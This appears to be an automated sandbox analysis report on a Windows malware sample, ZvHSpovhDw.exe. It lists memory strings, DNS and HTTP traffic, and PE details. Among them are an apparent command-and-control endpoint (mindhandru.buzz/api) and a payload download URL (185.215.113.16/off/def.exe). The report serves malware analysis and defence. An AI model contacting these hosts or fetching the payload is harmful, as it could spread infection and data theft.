Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/.
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeat
Source: ZvHSpovhDw.exe, 00000000.00000002.2427914677.00000000008FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2259650390.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2204588573.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ZvHSpovhDw.exe, 00000000.00000002.2434482660.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.mi
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_100.5.dr	String found in binary or memory: http://schema.org/Organization
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_100.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_100.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_100.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_100.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_100.5.dr	String found in binary or memory: https://github.com/nschonni
Source: ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_100.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: ZvHSpovhDw.exe, 00000000.00000003.2282004401.0000000005392000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2129357333.000000000537B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: ZvHSpovhDw.exe, 00000000.00000003.2153098332.000000000538A000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2153514978.0000000005391000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2180458111.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/BH3
Source: ZvHSpovhDw.exe, 00000000.00000003.2180458111.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/TS6
Source: ZvHSpovhDw.exe, 00000000.00000003.2180523077.0000000005302000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2282308745.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api0
Source: ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apid
Source: ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: ZvHSpovhDw.exe, 00000000.00000003.2261090627.0000000000B34000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: ZvHSpovhDw.exe, 00000000.00000003.2261090627.0000000000B34000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pt
Source: ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_127.5.dr	String found in binary or memory: https://schema.org
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_127.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49722 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: ZvHSpovhDw.exe	Static PE information: section name:
Source: ZvHSpovhDw.exe	Static PE information: section name: .rsrc
Source: ZvHSpovhDw.exe	Static PE information: section name: .idata

Source: ZvHSpovhDw.exe, 00000000.00000003.2353345535.0000000005386000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2329343202.00000000057AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2320138207.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311110687.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312199016.0000000005861000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2329534118.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314919010.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2325716782.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315501494.00000000057B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313680016.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2321859655.00000000058AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313391367.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316110501.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311270646.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315038567.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313777288.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313486384.00000000057AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309362601.00000000057AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330168988.00000000058E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311023880.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330321972.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314701578.0000000005880000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2307500514.00000000054ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2328113370.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2320822360.00000000057A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2329685861.00000000057AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314552049.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2310861791.00000000057B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2323205946.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2325335399.00000000057A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2317680988.00000000057B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2318441129.00000000058AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309096201.0000000005426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313581799.0000000005874000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353735436.0000000005390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
